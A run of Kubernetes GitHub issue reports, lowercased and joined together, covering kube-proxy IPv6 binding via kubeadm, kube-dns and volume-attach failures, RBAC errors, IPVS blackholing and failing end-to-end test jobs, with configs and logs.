version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : 18.04.1 lts  bionic beaver \r - kernel  e.g.  uname -a  : linux u1804 4.15.0-38-generic  41-ubuntu smp wed oct 10 10:59:38 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: minikube\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r i want to set kube-proxy bindaddress to ipv6 address  ::  through command:\r  kubeadm init  --config=./kubeadm_config.yml --ignore-preflight-errors all\r but result not function.\r the kube-proxy bindadress is always 0.0.0.0\r my kubeadm config file:\r apiversion: kubeadm.k8s.io/v1beta1\r kind: clusterconfiguration\r kubernetesversion: \ v1.14.0\ \r controlplaneendpoint: \ 2000:1691:1111:2222:aaaa:bbbb:cccc:2000\ \r imagerepository: \ matrix\ \r etcd:\r  external:\r   endpoints:\r   - \ http:// 2000:1691:1111:2222:aaaa:bbbb:cccc:1180 :2379\ \r   - \ http:// 2000:1691:1111:2222:aaaa:bbbb:cccc:1181 :2379\ \r   - \ http:// 2000:1691:1111:2222:aaaa:bbbb:cccc:1182 :2379\ \r apiserver:\r   certsans:\r   - 2000:1691:1111:2222:aaaa:bbbb:cccc:2000\r   - ::1\r   - 2000:1691:1111:2222:aaaa:bbbb:cccc:1180\r   - 2000:1691:1111:2222:aaaa:bbbb:cccc:1181\r   - 2000:1691:1111:2222:aaaa:bbbb:cccc:1182\r   - kubernetes\r   - kubernetes.default\r   - kubernetes.default.svc\r   - kubernetes.default.svc.cluster\r   - kubernetes.default.svc.cluster.local\r   extraargs:\r     advertise-address: \ 2000:1691:1111:2222:aaaa:bbbb:cccc:2000\ \r     token-auth-file: /etc/kubernetes/pki/token.csv\r     service-node-port-range: 1-65535\r networking:\r   podsubnet: fd00:177:177::/112\r   servicesubnet: fd00:10:96::/112\r ---\r apiversion: kubeproxy.config.k8s.io/v1alpha1\r kind: kubeproxyconfiguration\r bindaddress: \ ::\ \r \r my test command：\r  kubeadm init  --config=./kubeadm_config.yml --ignore-preflight-errors all\r  or\r  kubeadm config upload from-file --config /opt/matrix/k8s/kubeadm_config.yml\r \r   what happened  :\r   root@180 ~   kubectl get cm kube-proxy -n kube-system -o yaml\r apiversion: v1\r data:\r   config.conf: |-\r     apiversion: kubeproxy.config.k8s.io/v1alpha1\r     bindaddress: 0.0.0.0\r     clientconnection:\r       acceptcontenttypes: \ \ \r       burst: 10\r       contenttype: application/vnd.kubernetes.protobuf\r       kubeconfig: /var/lib/kube-proxy/kubeconfig.conf\r       qps: 5\r     clustercidr: fd00:177:177::/112\r     configsyncperiod: 15m0s\r     conntrack:\r       max: null\r       maxpercore: 32768\r       min: 131072\r       tcpclosewaittimeout: 1h0m0s\r       tcpestablishedtimeout: 24h0m0s\r     enableprofiling: false\r     healthzbindaddress: 0.0.0.0:10256\r     hostnameoverride: \ \ \r     iptables:\r       masqueradeall: false\r       masqueradebit: 14\r       minsyncperiod: 0s\r       syncperiod: 30s\r     ipvs:\r       excludecidrs: null\r       minsyncperiod: 0s\r       scheduler: \ \ \r       syncperiod: 30s\r     kind: kubeproxyconfiguration\r     metricsbindaddress: 127.0.0.1:10249\r     mode: \ \ \r     nodeportaddresses: null\r     oomscoreadj: -999\r     portrange: \ \ \r     resourcecontainer: /kube-proxy\r     udpidletimeout: 250ms\r     winkernel:\r       enabledsr: false\r       networkname: \ \ \r       sourcevip: \ \ \r   kubeconfig.conf: |-\r     apiversion: v1\r     kind: config\r     clusters:\r     - cluster:\r         certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\r         server: https:// 2000:1691:1111:2222:aaaa:bbbb:cccc:2000 :6443\r       name: default\r     contexts:\r     - context:\r         cluster: default\r         namespace: default\r         user: default\r       name: default\r     current-context: default\r     users:\r     - name: default\r       user:\r         tokenfile: /var/run/secrets/kubernetes.io/serviceaccount/token\r kind: configmap\r metadata:\r   creationtimestamp: \ 2019-05-14t17:28:46z\ \r   labels:\r     app: kube-proxy\r   name: kube-proxy\r   namespace: kube-system\r   resourceversion: \ 222\ \r   selflink: /api/v1/namespaces/kube-system/configmaps/kube-proxy\r   uid: ba52ade2-766d-11e9-8809-0cda411d2eca\r \r   what you expected to happen  :\r kube-proxy bindaddress set to be  :: \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.0\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : centos 7.4\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

there has to be more we can do to make it not so incredibly painful.  it has accumulated a lot of cruft.  filing this for debt paydown.

currently there is no single way that pods are identified in log messages, which can make it difficult to find all the messages relevant to a single pod in a log file.  i think, wherever possible, that we should identify pods with the following information, formatted consistently: 1.  pod name 2.  pod namespace 3.  pod uid  it's possible that not all call sites will have all of this information; in that case, we should stick to the format, and just log empty fields.  i started thinking about this in the context of the kubelet but it applies to anything that logs messages identifying pods.  @kubernetes/sig-node @kubernetes/rh-cluster-infra

turns our that when running a container in host network, its  podstatus  kubecontainer.podstatus  that is passed to dockertools.syncpod   will always contain empty ip, as a result, the  podip  environment becomes empty.  maybe we want to use the  apipodstatus  instead of  podstatus  in this case to  determine the pod ip  https://github.com/kubernetes/kubernetes/blob/v1.3.0-alpha.2/pkg/kubelet/dockertools/manager.go l1805-l1808  ? since the apipodstatus has the valid podip, which is  populated by kubelet  https://github.com/kubernetes/kubernetes/blob/v1.3.0-alpha.2/pkg/kubelet/kubelet.go l3271-l3278  when the container runs in host network.  or just populate the podip with hostip in  dockertools.syncpod  when the container runs on host network.  ref https://github.com/kubernetes/kubernetes/pull/22666  cc @aaronlevy @kubernetes/sig-node @pmorie

i am trying to setup the kube-dns on a single node cluster. i am using v11 of kube-dns rc and not able to make the dns work. issue is similar to  10265  https://github.com/kubernetes/kubernetes/issues/10265 issuecomment-117267504  pasting few logs here as mentioned in that thread.       kubectl get pods --all-namespaces namespace     name                        ready     status    restarts   age default       k8s-etcd-127.0.0.1          1/1       running   0          5d default       k8s-master-127.0.0.1        4/4       running   0          5d default       k8s-proxy-127.0.0.1         1/1       running   0          5d kube-system   kube-dns-v11-ddkm8          3/4       running   10         27m          kubectl logs kube-dns-v11-ddkm8 kube2sky --namespace=kube-system i0426 00:43:42.894958       1 kube2sky.go:462  etcd server found: http://127.0.0.1:4001 i0426 00:43:43.898589       1 kube2sky.go:529  using http://127.0.0.1:8080 for kubernetes master i0426 00:43:43.898778       1 kube2sky.go:530  using kubernetes api v1 i0426 00:43:43.899094       1 kube2sky.go:598  waiting for service: default/kubernetes i0426 00:43:43.901210       1 kube2sky.go:604  ignoring error while waiting for service default/kubernetes: yaml: mapping values are not allowed in this context. sleeping 1s before retrying. i0426 00:43:44.902584       1 kube2sky.go:604  ignoring error while waiting for service default/kubernetes: yaml: mapping values are not allowed in this context. sleeping 1s before retrying.          kubectl logs kube-dns-v11-ddkm8 skydns --namespace=kube-system 2016/04/26 00:15:28 skydns: falling back to default configuration, could not read from etcd: 501: all the given peers are not reachable  failed to propose on members  http://127.0.0.1:4001  twice  last error: get http://127.0.0.1:4001/v2/keys/skydns/config?quorum=false&recursive=false&sorted=false: dial tcp 127.0.0.1:4001: connection refused    0  2016/04/26 00:15:28 skydns: ready for queries on cluster.local. for tcp://0.0.0.0:53  rcache 0  2016/04/26 00:15:28 skydns: ready for queries on cluster.local. for udp://0.0.0.0:53  rcache 0  2016/04/26 00:15:43 skydns: error from backend: 501: all the given peers are not reachable  failed to propose on members  http://127.0.0.1:4001  twice  last error: get http://127.0.0.1:4001/v2/keys/skydns/local/cluster/svc/default/kubernetes?quorum=false&recursive=true&sorted=false: dial tcp 127.0.0.1:4001: connection refused    0  2016/04/26 00:15:43 skydns: error from backend: 501: all the given peers are not reachable  failed to propose on members  http://127.0.0.1:4001  twice  last error: get http://127.0.0.1:4001/v2/keys/skydns/local/cluster/svc/default/kubernetes?quorum=false&recursive=true&sorted=false: dial tcp 127.0.0.1:4001: connection refused    0       if i remove --kube-master-url=http://127.0.0.1:8080 set for kube2sky container then logs are:      kubectl logs kube-dns-v11-bdiij kube2sky --namespace=kube-system i0426 01:02:15.193115       1 kube2sky.go:462  etcd server found: http://127.0.0.1:4001 i0426 01:02:16.203393       1 kube2sky.go:529  using https://10.0.0.1:443 for kubernetes master i0426 01:02:16.203650       1 kube2sky.go:530  using kubernetes api <nil> i0426 01:02:16.204832       1 kube2sky.go:598  waiting for service: default/kubernetes i0426 01:02:16.208481       1 kube2sky.go:604  ignoring error while waiting for service default/kubernetes: get https://10.0.0.1:443/api/v1/namespaces/default/services/kubernetes: x509: certificate signed by unknown authority. sleeping 1s before retrying. i0426 01:02:17.212520       1 kube2sky.go:604  ignoring error while waiting for service default/kubernetes: get https://10.0.0.1:443/api/v1/namespaces/default/services/kubernetes: x509: certificate signed by unknown authority. sleeping 1s before retrying.          kubectl logs kube-dns-v11-bdiij skydns --namespace=kube-system 2016/04/26 01:02:27 skydns: falling back to default configuration, could not read from etcd: 100: key not found  /skydns   3  2016/04/26 01:02:27 skydns: ready for queries on cluster.local. for tcp://0.0.0.0:53  rcache 0  2016/04/26 01:02:27 skydns: ready for queries on cluster.local. for udp://0.0.0.0:53  rcache 0       also seen this in kube apiserver log:  http: tls handshake error from 172.17.0.3:39421: remote error: bad certificate       ps aux |grep controller root      5612  0.4  1.0 291660 40696 ?        ssl  apr20  35:10 /hyperkube controller-manager --master=127.0.0.1:8080 --service-account-private-key-file=/srv/kubernetes/server.key --root-ca-file=/srv/kubernetes/ca.crt --min-resync-period=3m --v=2          ps aux |grep apiserver root      5663  2.8  9.7 696292 396316 ?       ssl  apr20 214:46 /hyperkube apiserver --service-cluster-ip-range=10.0.0.1/24 --insecure-bind-address=127.0.0.1 --etcd-servers=http://127.0.0.1:4001 --admission-control=namespacelifecycle,limitranger,securitycontextdeny,serviceaccount,resourcequota --client-ca-file=/srv/kubernetes/ca.crt --basic-auth-file=/srv/kubernetes/basic_auth.csv --min-request-timeout=300 --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key --token-auth-file=/srv/kubernetes/known_tokens.csv --allow-privileged=true --v=4      secrets:       kubectl get secrets  --all-namespaces namespace     name                  type                                  data      age default       default-token-sjt3i   kubernetes.io/service-account-token   3         5d kube-system   default-token-w1oxk   kubernetes.io/service-account-token   3         5d i am using v11 rc https://github.com/kubernetes/kubernetes/blob/release-1.2/cluster/addons/dns/skydns-rc.yaml.in       can share more results if required.

i'm using kube 1.4.5, and aws storage.\r \r when i try to attach multiple volumes using pvc's, one of the volumes consistently gets stuck in the attaching state whilst the other is successful.\r \r below are the definitions that i used.\r \r _sonar-persistence.yml_\r     yaml\r  ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: sonarqube-data\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r     - readwriteonce\r   awselasticblockstore:\r     volumeid: aws://eu-west-1a/vol-xxxxxxx\r     fstype: ext4\r  ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: sonarqube-extensions\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r     - readwriteonce\r   awselasticblockstore:\r     volumeid: aws://eu-west-1a/vol-xxxxxx\r     fstype: ext4\r    \r _sonar-claim.yml_\r     yaml\r  ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: sonarqube-data\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r  ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: sonarqube-extensions\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r    \r _sonar-deployment.yml_\r     yaml\r  ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: sonar\r spec:\r   replicas: 1\r   template:\r     metadata:\r       name: sonar\r       labels:\r         name: sonar\r     spec:\r       containers:\r         - image: sonarqube:lts\r           args:\r             - -dsonar.web.context=/sonar\r           name: sonar\r           env:\r             - name: sonarqube_jdbc_password\r               valuefrom:\r                 secretkeyref:\r                   name: postgres-pwd\r                   key: password\r             - name: sonarqube_jdbc_url\r               value: jdbc:postgresql://sonar:5432/sonar\r           ports:\r             - containerport: 9000\r               name: sonar\r           volumemounts:\r           - name: sonarqube-data\r             mountpath: /opt/sonarqube/data\r           - name: sonarqube-extensions\r             mountpath: /opt/sonarqube/extensions\r       volumes:\r         - name: sonarqube-data\r           persistentvolumeclaim:\r             claimname: sonarqube-data\r         - name: sonarqube-extensions\r           persistentvolumeclaim:\r             claimname: sonarqube-extensions\r    \r the data volume always appears to be successful, and maybe coincidentally is first in the list. i have tried this multiple times but the result is always the same. \r \r the error message is as follows:\r    \r unable to mount volumes for pod \ sonar-3504269494-tnzwo_default 2cc5292c-a5d4-11e6-bd99-0a82a8a86ebf \ : timeout expired waiting for volumes to attach/mount for pod \ sonar-3504269494-tnzwo\ /\ default\ . list of unattached/unmounted volumes= sonarqube-data sonarqube-extensions \r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ sonar-3504269494-tnzwo\ /\ default\ . list of unattached/unmounted volumes= sonarqube-data sonarqube-extensions \r

hello,\r during my conversation with @justinsb , we agreed that kube-dns pod should be replicated on more than one node.\r \r till now, kube-dns is running just on a single node and if that node comes down the whole cluster is unable to make any dns queries.\r \r there was some test cases on my side that all of the other nodes inside the cluster are overloaded and kube-dns is not able to fit any of these nodes, if that pod dies on the node that is deployed during cluster creation.\r \r regards,\r spas \r \r

https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gce-reboot-release-1-7\r \r    \r  test failed; at least one node failed to reboot in the time given.\r    \r \r @dchen1107 @ericchiang @kubernetes/kubernetes-release-managers

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r after following commit was merged, 'kubectl get node' can't find local node due to following error.\r i'm using hack/local-up-cluster.sh for installation tool.\r \r    \r commit 3d3d3922c21ce5e81f7c94ff7ef0bbbc9b4e0b40\r date:   fri jul 28 05:08:10 2017 -0700\r    \r    \r   k get node\r no resources found.\r    \r    \r i0728 19:22:15.081807   17992 reflector.go:234  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:389 \r i0728 19:22:15.082839   17992 reflector.go:234  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47 \r e0728 19:22:15.083905   17992 reflector.go:199  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods \ \  is forbidden: user \ system:node:127.0.0.1\  cannot list pods at the cluster scope. \r e0728 19:22:15.084267   17992 reflector.go:199  k8s.io/kubernetes/pkg/kubelet/kubelet.go:389: failed to list  v1.service: services \ \  is forbidden: user \ system:node:127.0.0.1\  cannot list services at the cluster scope. \r i0728 19:22:15.090334   17992 reflector.go:234  listing and watching  v1.node from k8s.io/kubernetes/pkg/kubelet/kubelet.go:398 \r e0728 19:22:15.091403   17992 reflector.go:199  k8s.io/kubernetes/pkg/kubelet/kubelet.go:398: failed to list  v1.node: nodes \ \  is forbidden: user \ system:node:127.0.0.1\  cannot list nodes at the cluster scope. \r i0728 19:22:16.084029   17992 reflector.go:234  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47 \r e0728 19:22:16.084840   17992 reflector.go:199  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: pods \ \  is forbidden: user \ system:node:127.0.0.1\  cannot list pods at the cluster scope. \r i0728 19:22:16.085081   17992 reflector.go:234  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:389 \r e0728 19:22:16.085652   17992 reflector.go:199  k8s.io/kubernetes/pkg/kubelet/kubelet.go:389: failed to list  v1.service: services \ \  is forbidden: user \ system:node:127.0.0.1\  cannot list services at the cluster scope. \r    \r \r   what you expected to happen  :\r \r node can be found.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. hack/local-up-cluster.sh\r 1. kubectl.sh get node\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - install tools: local-up-cluster.sh\r

environement:-\r centos 7.4.1708\r kubeadm v1.8.4\r \r >    what happened  :\r all working fine. but when i check i getting first error https://github.com/moby/moby/issues/30628\r so i have upgraded and got resolved.\r but again i get a new error as i mention the subject issue. don't know why its showing issue or its known issue in kubelet. just let me know if you have any solution.\r below are logs which are continuously generating every 10 seconds.\r \r   dec  5 12:42:03  kubelet: e1205 12:42:03.527763   23059 summary.go:92  failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\ \r dec  5 12:42:03  kubelet: e1205 12:42:03.527796   23059 summary.go:92  failed to get system container stats for \ /system.slice/docker.service\ : failed to get cgroup stats for \ /system.slice/docker.service\ : failed to get container info for \ /system.slice/docker.service\ : unknown container \ /system.slice/docker.service\ \r dec  5 12:42:03  kubelet: w1205 12:42:03.527852   23059 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available  \r \r \r \r \r \r i have referred below urls:-\r https://github.com/moby/moby/issues/30628\r https://github.com/kubernetes/kubernetes/issues/55649\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r linux  3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r

failing job\r      sig-release-master-blocking : gci-gce-alpha-features  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features \r \r    failing test\r      beforsuite  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/20663 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-04-16&job=ci-kubernetes-e2e-gci-gce-alpha-features&test=beforesuite\r \r    failure\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:137\r apr  9 22:20:23.493: error waiting for all pods to be running and ready: 1 / 3 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                                    node                            phase   grace conditions\r event-exporter-v0.1.9-75857bbfd5-4kgp5 bootstrap-e2e-minion-group-8r2v running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-09 22:03:51 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-09 22:10:40 +0000 utc reason:containersnotready message:containers with unready status:  event-exporter prometheus-to-sd-exporter } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-04-09 22:03:51 +0000 utc reason: message:} \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:190\r \r this test seems to have been failing for a very long time  since mid of march . @bentheelder can you please triage this failure?\r \r  / /  /milestone 1.11\r @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper \r \r /assign @bentheelder \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r currently, location of the creation of vsphere volumes is hardcoded  see  @https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere.go l1209 . it would be nice to add in the option to store these volumes in a user defined specific location upon creation of the volume - eg kubevols/ user-input-name / volume-name .\r \r   why is this needed  :\r \r persistentvolumes created by statefulsets need to be explicitly deleted. for users with multiple kubernetes clusters, or who have forgotten to delete the pv's before deleting an old kubernetes cluster, organization and deletion of old/stale pv's becomes difficult since they are all automatically stored in the same location.\r \r for reference, pv documentation: https://kubernetes.io/docs/tasks/run-application/delete-stateful-set/ persistent-volumes

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r @kubernetes/sig-network-bugs\r \r   what happened  :\r this is similar/follow on from  71596\r \r when using externaltrafficpolicy:local and proxy-mode=ipvs, kube-proxy is creating an ipvs entry with no endpoints on nodes that don't host that workload. i.e.\r \r     \r tcp  10.1.109.187:443 rr\r    \r \r    \r $ ip ro get 10.1.109.187\r local 10.1.109.187 dev lo table local src 10.1.109.187 \r     cache <local> \r    \r \r which blackholes all traffic from this node  and pods on this node  trying to access the loadbalancer using the external ip.\r \r   what you expected to happen  :\r \r on nodes where no workload is present, no ipvs entry should be made.\r \r   environment  :\r kube-proxy version 1.14.0-beta.1\r

@spiffxp needs node state in some interesting tests hes running on hetero-clusters.  we can incorporate some handy node filters into clusterstateverifier once  23771 merges.  some cleanup on the data model might be useful, in particular, making the podstate filters more modular.

i noticed this thing today when i rolled out a multi-container pod. context: i have 2 containers, 1 is a sidecar that completes within seconds, the other is a long running task that completes after several hours.      > kubectl get pods name                  ready     status      restarts   age … pod-name             1/2       completed   0          16m … > kubectl describe pod pod-name | grep 'status\\|state\\|reason' … status:         running     state:              running     state:              terminated       reason:           completed      question: why does the pod  status  in  describe  not match the pod  status  in  get ?  i looked for similar issues using the following search:  is:issue is:open kubectl status describe get

is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?   e2e, conformance\r \r   is this a bug report or feature request?   bug report\r \r   kubernetes version    use  kubectl version  : 1.5.0, 1.5.1\r \r   environment  : 1.5.0 gke cluster, osx 10.11.x workstation\r \r   what happened  : the documented approach of running conformance tests doesn't work with 1.5.1 release artifacts, but does work with 1.4.6\r    sh\r aaron@cloudtop:kubernetes-1.5.1$ ginkgo_parallel=y go run hack/e2e.go -v --test --test_args=\ --ginkgo.focus=\\ conformance\\  --ginkgo.skip=\\ serial\\ \ \r 2016/12/15 10:41:53 e2e.go:722: running: kubectl version\r it looks as if you don't have a compiled kubectl binary\r    \r   what you expected to happen  :\r \r    sh\r aaron@cloudtop:kubernetes-1.4.6$ ginkgo_parallel=y go run hack/e2e.go -v --test --test_args=\ --ginkgo.focus=\\ conformance\\  --ginkgo.skip=\\ serial\\ \ \r 2016/12/15 10:43:08 e2e.go:449: running: get status\r skeleton provider: prepare-e2e not implemented\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r 2016/12/15 10:43:09 e2e.go:451: step 'get status' finished in 592.839581ms\r    \r   how to reproduce it    as minimally and precisely as possible : \r \r attempt to run conformance tests  as documented at https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-tests.md conformance-tests  from a directory that contains the extracted contents of the v1.5.1 kubernetes.tar.gz and kubernetes-test.tar.gz artifacts.  have an alternate  kubectl  in your  path \r \r   anything else do we need to know  :\r

ref https://github.com/kubernetes/kubernetes/issues/33612.\r \r cascading deletion is true by default for kubectl.\r \r for federation, we want it to be false since deleting a federation resource with cascade=true will delete the resource from all clusters as well which can lead to a global outage. so we want --cascade to be false by default but users can pass --cascade=true if they do want cascading deletion.\r \r cc @kubernetes/sig-federation-misc @kubernetes/sig-cli-misc @quinton-hoole @caesarxuchao

on master: https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/cephfs/cephfs.go l110\r \r the server is running  kubernetes v1.5.2+43a9be4 .\r \r    \r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.219994   25496 cephfs.go:101  found ceph secret info: key\r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.322205   25496 cephfs.go:101  found ceph secret info: key\r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.323947   25496 cephfs.go:101  found ceph secret info: key\r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.426004   25496 cephfs.go:101  found ceph secret info: key\r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.427898   25496 cephfs.go:101  found ceph secret info: key\r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.530683   25496 cephfs.go:101  found ceph secret info: key\r may 04 22:08:24 lisa.usb.cs.purdue.edu origin-node 25466 : i0504 22:08:24.532527   25496 cephfs.go:101  found ceph secret info: key\r    \r \r this message doesn't really help with anything, and i'm seeing it output multiple times a second as you can see above. the message is overall useless since it's printed in a success condition and does not have enough information to be useful in any case. i would ask that it be disabled / removed completely.

for reasons that are not entirely clear to me, and as spotted by @sprinkle in https://github.com/kubernetes/kubernetes/pull/44745 issuecomment-301252906, there are two functions for selecting nodes in servicecontroller.go: includenodefromnodelist & getnodeconditionpredicate.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/servicecontroller.go l585-l590\r \r i think includenodefromnodelist should use the logic in getnodeconditionpredicate

failure cluster  02bd8ba009292ae49af5  https://go.k8s.io/triage 02bd8ba009292ae49af5        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:181 beforesuite on node 1 failed /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:181           failure cluster statistics: 1 tests failed,    7 jobs failed,    49 builds failed. failure stats cover 1 day time range '23 may 2017 16:00 utc' to '24 may 2017 16:00 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 7 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-ip-alias | 42 |  24 may 2017 15:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/2277  | | ci-kubernetes-e2e-gke-master-1.6-gci-kubectl-skew | 2 |  24 may 2017 14:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-1.6-gci-kubectl-skew/5197  | | ci-kubernetes-e2e-gci-gke-updown | 1 |  24 may 2017 07:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/16735  |   current status  https://go.k8s.io/triage 02bd8ba009292ae49af5

failure cluster  be986b1e2cf1af1a5777  https://go.k8s.io/triage be986b1e2cf1af1a5777        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1252 jun 26 12:48:45.237: timeout waiting for service \ lb-sourcerange\  to have a load balancer /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2496           failure cluster statistics: 6 tests failed,    9 jobs failed,    111 builds failed. failure stats cover 1 day time range '28 jun 2017 22:38 utc' to '29 jun 2017 22:38 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | 8 | |  k8s.io  esipp  slow  should only target nodes with endpoints | 5 | |  k8s.io  esipp  slow  should work for type=loadbalancer | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-slow | 44 |  29 jun 2017 21:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/7023  | | ci-kubernetes-e2e-gci-gke-slow | 42 |  29 jun 2017 21:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/7761  | | ci-kubernetes-e2e-gce-cosbeta-k8sstable2-slow | 9 |  29 jun 2017 15:18 utc  